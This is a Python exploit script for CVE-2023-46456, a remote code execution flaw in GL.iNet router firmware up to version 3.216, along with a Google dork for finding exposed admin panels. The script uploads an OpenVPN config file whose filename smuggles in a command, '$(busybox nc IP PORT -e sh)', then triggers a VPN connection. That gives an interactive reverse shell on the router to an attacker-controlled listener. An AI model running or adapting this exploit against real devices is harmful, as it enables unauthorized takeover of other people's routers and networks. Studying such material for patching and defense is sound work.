#!/usr/bin/env python3
# Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar
# Version: 3.216
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46456
import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def generate_random_string():
return ''.join([chr(randint(97, 122)) for x in range(6)])
def add_config_file(url, auth_token, payload):
data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')}
try:
r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
except requests.exceptions.RequestException:
print('[X] Error while adding configuration file')
return False
return True
def verify_config_file(url, auth_token, payload):
try:
r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
if not r.json()['passed'] and payload not in r.json()['passed']:
return False
except requests.exceptions.RequestException:
print('[X] Error while verifying the upload of configuration file')
return False
return True
def add_client(url, auth_token):
postdata = {'description':'RCE_client_{}'.format(generate_random_string())}
try:
r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
except requests.exceptions.RequestException:
print('[X] Error while adding OpenVPN client')
return False
return True
def get_client_id(url, auth_token, payload):
try:
r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
for conn in r.json()['clients']:
if conn['defaultserver'] == payload:
return conn['id']
print('[X] Error: could not find client ID')
return False
except requests.exceptions.RequestException:
print('[X] Error while retrieving added OpenVPN client ID')
return False
def connect_vpn(url, auth_token, client_id):
sleep(0.25)
postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'}
r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
def cleanup(url, auth_token, client_id):
try:
r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False)
r.raise_for_status()
except requests.exceptions.RequestException:
print('[X] Error while cleaning up OpenVPN client')
return False
return True
def get_command_response(s):
res = ''
while True:
try:
resp = s.recv(1).decode('utf-8')
res += resp
except UnicodeDecodeError:
pass
except socket.timeout:
break
return res
def revshell_listen(revshell_ip, revshell_port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.bind((revshell_ip, int(revshell_port)))
s.listen(1)
except Exception as e:
print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
exit(1)
try:
clsock, claddr = s.accept()
clsock.settimeout(2)
if clsock:
print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
res = ''
while True:
command = input('$ ')
clsock.sendall('{}\n'.format(command).encode('utf-8'))
stdout.write(get_command_response(clsock))
except socket.timeout:
print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
s.close()
except KeyboardInterrupt:
print('\n[*] Closing connection')
try:
clsock.close()
except socket.error:
pass
except NameError:
pass
s.close()
def main(base_url, auth_token, revshell_ip, revshell_port):
print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit')
payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port)
print('[+] Filename payload: "{}"'.format(payload))
print('[*] Uploading crafted OpenVPN config file')
if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload):
exit(1)
if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload):
exit(1)
print('[+] File uploaded successfully')
print('[*] Adding OpenVPN client')
if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token):
exit(1)
client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload)
if not client_id:
exit(1)
print('[+] Client ID: ' + client_id)
print('[*] Triggering connection to created OpenVPN client')
Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start()
print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
revshell_listen(revshell_ip, revshell_port)
print('[*] Clean-up by removing OpenVPN connection')
if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id):
exit(1)
print('[+] Done')
if __name__ == '__main__':
if len(argv) < 5:
print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
exit(1)
main(argv[1], argv[2], argv[3], argv[4])
